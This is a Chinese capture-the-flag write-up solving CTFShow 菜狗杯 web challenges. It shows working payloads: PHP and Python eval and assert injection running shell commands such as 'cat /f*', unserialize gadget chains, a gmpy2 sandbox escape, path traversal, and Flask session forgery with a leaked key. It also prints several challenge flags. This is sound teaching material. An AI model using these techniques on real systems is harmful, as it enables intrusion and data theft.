CTFShow 菜狗杯


做做菜狗杯的题(主要是web)

Web签到

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

这个刚开始看的时候可能头很大,实际上就是变量的嵌套

由里到外传参即可:

第一层是cookie传参:名为CTFshow-QQ群: 值为1

这样就变成了eval($_REQUEST[$_GET[$_POST[1]]])

相当于让我们POST 名为1的值

此时令1=2

变成eval($_REQUEST[$_GET[2]])

同上,get传参2=3

最后的request用任意方式传参即可,注意后面的中括号

3[6][0][7][5][8][0][9][4][4]=system('ls /');

注意中文需要url编码

发现f1agaaa,直接cat /f1agaaa即可

web2 c0me_t0_s1gn

提示:the page hide something you need use the god’s eye to find

使用F12发现:

1
2
<!-- ok you find something a part of flag :ctfshow{We1c0me_ -->
<!--and thre is a hint for another one: can can need 控制台(console)-->

提示我们看看控制台:

运行这个函数即可获得flag

直接控制台输入g1ve_flag()

我的眼里只有$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

非常简单的代码,通过POST请求覆盖变量:

一共有36个$

1
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /');

所以直接cat /f*即可

一言既出+驷马难追

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
//如果传入num=114514 进行assert判断,如果num=1919810输出flag
//否则echo 一言既出驷马难追

这个题可以有两种方法:

1.将后面的内容注释掉(通过注释符,因为没有对输入进行过滤)

只需要将==1919810及其后面的内容注释掉即可

?num=114514);//

传入后assert内容变为了

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval(114514);//)==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}

也就是intval 114514 然后输出flag

2.assert()类似于eval(),可以执行加减乘除

所以只需要114514+1805296即可

加号需要url编码

?num=114514%2B1805296

(驷马难追中使用)

TapTapTap

js游戏题,关注:

  • 1.js是否有alert
  • 2.游戏取得胜利的条件
  • 3.角色参数(

/js/habibiScript.js中找到alert(atob('WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ='));

通过base64解码得到

Your flag is in /secret_path_you_do_not_know/secretfile.txt

直接访问获得flag

WebShell

非常简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
error_reporting(0);

class Webshell {
public $cmd = 'echo "Hello World!"';

public function __construct() {
$this->init();
}

public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}

public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}

if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}

?>

只需注意过滤了flag即可

1
2
3
4
5
6
7
8
<?php
class Webshell{
public $cmd = 'cat f*';
}
$a=new Webshell();
echo serialize($a);
?>
#output:O:8:"Webshell":1:{s:3:"cmd";s:6:"cat f*";}

执行后打开f12即可看到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:14:07
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:14:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag = 'ctfshow{69945a58-c85d-405a-8984-30de8ed48c3a}';
-->

化零为整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){//计算get传参的个数
if (strlen($_GET[$i])>1){//每个get传参的内容的长度<1
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];//然后拼接结果
}
}

if ($result ==="大牛"){
echo $flag;
}

所以这个题目就是让我们通过多次get传参拼接出大牛

由于每一个url编码长度只占1

所以我们可以将大牛进行url编码,每一个get传参只传递其中一个编码,拼接后解码就能组成大牛

将大牛url编码:%E5%A4%A7%E7%89%9B

传入?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B即可

无一幸免

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}

不是很懂,get随便传都行

?0=即可

传说之下(雾)

还是js小游戏

直接看看js:

这里没有alert什么的输出条件…

就看看分数,发现var nowScore = this.score += 1

就是每吃一个苹果得到1分

我们直接改成2077+就行了

控制台输出flag

算力超群

打开是个计算器

但是随便输点算术没有其他的回显

打开burp抓个包

抓到了:

1
GET /_calculate?number1=9&operator=*&number2=9 HTTP/1.1

接下来对这三个参数进行修改:

删除number1的参数:

1
GET /_calculate?number1=&operator=*&number2=9 HTTP/1.1

页面报错,发现是app.py(flask)

并且最后的内容是eval函数

1
2
File "/app/app.py",line 28, in calculate
result = eval(a + operator + b)

说明我们可以对传入的参数进行修改执行命令(

1
GET /_calculate?number1=1&operator=*&number2=__import__('os').popen('cat%20/f*').read()
1
2
3
4

{
"result": "ctfshow{f401308c-de9e-4482-a57b-a6432f3870dd}\n"
}

算力升级

仅能使用gmpy2库的函数进行注入

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
except:
return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)

查看gmpy2库内的内容

builtins内一般有eval(ssti)

查看后确实有

只需要成功调用eval即可再次使用上一题的payload获取flag

也就是最终结果是

1
gmpy2.__builtins__[eval](__import__('os').popen('cat /f*').read())
1
2
3
python的字符串拼接又有如下规律(使用'+'拼接即可)
'exp'[0]+'version'[0]+'asin'[0]+'polar'[2]
-->eval

所以我们可以使用gmpy2库内的函数获取出所有的英文字母从而拼接出payload

(注意单引号需要使用双引号,就像这样 “'”

经过不懈努力后得出如下payload

1
2
gmpy2.__builtins__['exp'[0]+'version'[0]+'asin'[0]+'polar'[2]]('const_pi'[5]+'const_pi'[5]+'version'[4]+'gamma'[2]+'exp'[2]+'version'[5]+'version'[2]+'atan'[1]+'const_pi'[5]+'const_pi'[5]+'('+"'"+'version'[5]+'version'[3]+"'"+')'+'.'+'polar'[0]+'polar'[1]+'polar'[0]+'exp'[0]+'version'[6]+'('+"'"+'comb'[0]+'asin'[0]+'const_pi'[4]+' '+'/'+'inf'[2]+'*'+"'"+')'+'.'+'version'[2]+'exp'[0]+'asin'[0]+'digamma'[0]+'()')

Is_Not_Obfuscate

打开网页是一个push 和 pull的界面,首先查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<div class="main">
<h3>Push or Pull<small class="ml6">(最好用的开源插件社区)</small></h3>
<form method="get">
<textarea name="input" cols="80" rows="6" placeholder="输入需要预览的插件名称"></textarea>
<br />
<!-- //测试执行加密后的插件代码
//这里只能执行加密代码,非加密代码不能执行
eval(decode($_GET['input'])); -->
<!-- <button name="action" value="test"> 执行 (do)</button>-->
<button name="action" value="pull"> 预览 (pull)</button>
<button name="action" value="push">贡献 (push)</button>
<br />
<textarea name="output" cols="80" rows="6" placeholder=""></textarea>
</form>
<div class="help">
<p>您可以免费预览插件的源码与执行效果,也可以购买我们998$的解密器进行二次开发。</p>
<p>您可以贡献代码给我们,我们可能会采纳,届时将提供奖励</p>
</div>

</div>
<!-- Test the lib.php before use the index.php!-->
<!-- After that,delete the robots.txt!-->
</html>


发现了一段被注释的内容:action=test的时候会执行内容

并且是eval执行

发现了lib.php和index.php

提示访问index.php前首先要测试lib.php

还有robots.txt

先访问robots.txt

发现/lib.php?flag=0,并且直接访问lib.php页面无内容

于是尝试将flag修改为1,回显出一套神秘代码

1
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT

我也不懂什么东西,起初我还以为是base64,所以去用cyberchef搞了一下,发现不行

然后源码处知道将action设置为test后可以解密文件

于是将加密文本解密

1
http://9eee1e16-a877-4e4e-a01b-0da514f9d5c2.challenge.ctf.show/?input=eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI%2Fw3p1%2B%2FwX69euqzpVDJ2a%2FGkWO4z4QQpnTUq9P5fFd3Uu%2BYvM2ht%2BZXSvYiLXq0o8zaUZ%2FKSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K%2BWAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr%2BNHn6Jn3MYCnm%2Fz9GbI9TH0XZfPPoqqZRrKo48Gdz%2BodPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI%2BCLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg%2FEmgnR%2Bx6othXTZ2ZGQsEYvRa%2FU1LaK%2F4D7Op3ZKrKFnzAs01qSCbbf%2BP097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ%2BDU5vzz0%2BdoHA%2B3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw%2BF7BHMJPheaGD3faUo71nCiV6QWQu0VW%2FO2DvG%2Beubaq5t1a5Y3tYJmti6soht26kuF7jUUg%2BvZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9%2BkQvcSUbuwuEnWHYzn16%2FewTo%2BgVIqv0%2BDNJC0YUGs9kWnS2%2B1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ%2Fr2muD0WE4G5qRRQ8dnmkgxTVF7Zh61%2Fyvmis14AVf3UwjoHywgVs7MNevg%2FtCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY%2BMB7L5c4S%2B5arvpFKn%2FGN4KvCEWYZ%2Br7inzI%2Bng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E%2BfPm6bO7%2FjSe%2B2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp%2FSzwQLyo5N5HVZEVzMdqY7RiEqT6%2FFOLji7N%2F7E3c%2B8ZLOGGQcDJMM5FARuDOfYyh09%2BM%2BI1Hdc%2BbCze4S0TuOa3j7orHPzP%2FBLQQLKt6c4cLZ42QbgJwmpowDmVjo%2FR6dyCuJbWwKGS8BVtzxfh2YhYu%2Br1n7mrY7nPTxszI6w%2FTWAErJEBVZwXlj33RDqfi%2Bu45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP%2F9%2Bw8pT7oT&action=test&output=

于是成功回显源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}

?>

其中最重要的就是下一段了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}
//action=push时,将output加密,并且写入一个文件名经过md5(output拼接youyou)
//action=pull时,eval解密后的内容

于是我们可以output写入命令,然后进行push

然后使用pull操作访问这个文件,执行其中的命令

第一步:

1
?input=&action=push&output=system(%27cat%20/f*%27);

第二步:

1
?input=1ce4b066a901b6cb2f7905584ff31ad4&action=pull&output=system(%27cat%20/f*%27);

其中1ce4b066a901b6cb2f7905584ff31ad4system('cat /f*');youyou的md5值

就能获得flag

easyPytHon_P

直接给出源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')

值得注意的就是:

request.form.get说的是虽然是get,但是其实使用post方式提交的

真蛋疼啊…

然后就是这个subprocess.run()了,它是用于执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例

函数参数:

subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, shell=False, timeout=None, check=False, universal_newlines=False)

args:默认是字符串序列

也可以是一个字符串,但是此时要将shell参数设置为true

shell:如果为true,则命令将会通过shell执行

check:检查异常

举个例子:

1
2
>>> subprocess.run(["ls", "-l", "dev/null"], stdout=subprocess.PIPE)
CompletedProcess(args=['ls', '-l', 'dev/null'], returncode=0, stdout=b'crw-rw-rw- 1 root root 1, 3 Jan 23 16:23 /dev/null\n')

从这里我们就可以知道这些个字符串需要分开

也就是我们想要执行ls -l 就需要分开传递ls-l

所以就是换个方式来执行命令

POST方式传入:cmd=ls&param=/

查看根目录下是否有flag

发现没有,所以flag应该在当前目录/app

经过测试发现如果param为空无回显

所以我们传入cmd=ls&param=/app查看/app下的文件

发现flag.txt

直接cat flag.txt即可

满地飘零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
$$key=$$value;
}//覆盖变量,举例:
//传入flag=awa 此时$$key=$$value 就会使得$flag=$awa
//如果$awa=flag{xxxxxxx}此时flag的值就会变为flag{xxxxxxx}

if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}

但事实呢,这题考的不是变量覆盖,因为如果你传值?flag=zeros的时候就只会echo “好多零”,而且flag原本的值也被覆盖了

我们知道$号后面是变量名

那么$_GET呢? 那么我们是不是可以这样理解:$_GET不仅仅是GET传参,还可以是个变量名_GET

那么我们如果传入_GET=flag的话

那么$_GET=$flag

而且没有进入好多零,而是var_dump(),就能获得flag了

茶歇区

int64溢出
消耗fp得到物品

每一件物品有不同的分数

消耗的fp值超过你有的fp值的时候就会回显你不好意思拿那么多…

那么如果我们硬要拿很多的话,就会使得扣除的分数溢出,导致无法处理(

int 64 : 9223372036854775807

如果我们超过了这个数字,int就无法处理了

然后就是试错,拿咖啡试是最好的,因为他是x10

矿泉水是无法触发溢出的,因为x1

我们试试

9223372036854775807

发现我们获得了0分

这个时候就是溢出太大了(

我们调整一下

932337203685477580

这样恰好溢出不会太大

操作成功:你拿了932337203685477580瓶咖啡,总计获得-9123372036854775808分!

回显成功,再传一次932337203685477580即可获得flag

感觉怪怪的,说不太清

恭喜你获得flag:ctfshow{4d69f484-1089-4e02-8437-9726728942bd}

无一幸免_FIXED

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
?>

这里修复了bug(

考的还是整型溢出:

$arr[]=1就是让数组追加一个新的下标,然后令他的值为1

也就是说我们输入什么数字,他的下一个数都是1

判断永真,进入不了else

但是如果它超过了整型最大值的话,数组就会处理异常

因为数组的最大下标数=最大int数

追加的话会导致整型溢出,追加失败

进入else

那直接传入0=9223372036854775807即可

这个时候就会报错:**Warning**: Cannot add element to the array as the next element is already occupied in **/var/www/html/index.php** on line **7**

并且进入else语句ctfshow{2520e3b6-c6de-4205-9f8a-60565aa79691}

小舔田?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}

public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}

class Ion_Fan_Princess{
public $nickname="牛夫人";

public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}

public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}

if (isset($_GET['code'])){
unserialize($_GET['code']);

}else{
$a=new Ion_Fan_Princess();
echo $a;
}

反序列化

目标:echo $flag

需要触发call()函数,并且nickname=“小甜甜”

call()函数由__toString()魔术方法触发,而__toString()又可以由

Moon类触发

那就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Moon{
public $name;
public function __construct(){
$this->name=new Ion_Fan_Princess();
}
}
class Ion_Fan_Princess{
public $nickname="小甜甜";
}
$a= new Moon();
echo serialize($a);
?>
#output:O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

<?php
class Moon{
public $name;
public function __construct(){
$this->name=new Ion_Fan_Princess();
}
}
class Ion_Fan_Princess{
public $nickname=0;
}
$a= new Moon();
echo serialize($a);
?>
#O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";i:0;}}

当然,nickname是弱比较

我们让nickname=0(int)和字符串比较,也是可以的

不过这个后面就比较怪了…

LSB探姬

【ctfshow菜狗杯-LSB探姬】

抽老婆

像catctf的 catcat,比catcat简单

直接抽一个老婆,然后查看源码

在下载老婆处找到了/download?file=3e5b0bcb240126f92e31206528fa81ff.jpg

就是通过file=文件名进行下载

尝试修改一下文件名,改为1,页面报错,同时发现是flask模板(/flask/app.py)

所以我们尝试下载app.py查看源码

file=../../app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():
return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)

可以发现flag在/secret_path_U_never_know处,但是他又需要session的身份验证

所以这个时候就需要我们伪造session了,详见CatCTF的catcat

我们首先获取我们当前的session,打开bp抓包:

然后通过flask-session-cookie-manager伪造session即可

伪造session需要知道secretkey,而在这里已经提供了secretkey:tanji_is_A_boy_Yooooooooooooooooooooo!

先使用decode解码内容:

python.exe .\flask_session_cookie_manager3.py decode -c 'eyJjdXJyZW50X3dpZmkiOiIzZTViMGJjYjI0MDEyNmY5MmUzMTIwNjUyOGZhODFmZi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y-UDjg.2I1zjYEctpdz93Wi_YcLVmgBrAg' -s 'tanji_is_A_boy_Yooooooooooooooooooooo!'

解码内容:{'current_wifi': '3e5b0bcb240126f92e31206528fa81ff.jpg', 'isadmin': False}

然后进行加密:

python.exe .\flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': '3e5b0bcb240126f92e31206528fa81ff.jpg', 'isadmin': True}"

获取session:

eyJjdXJyZW50X3dpZmkiOiIzZTViMGJjYjI0MDEyNmY5MmUzMTIwNjUyOGZhODFmZi5qcGciLCJpc2FkbWluIjp0cnVlfQ.Y-UG7Q.K3pbEVAqAZZFU1upOI_Zn4Rpj7c

然后替换session再访问/secret_path_U_never_know即可


龙珠nft我没做出来(((


CTFShow 菜狗杯wp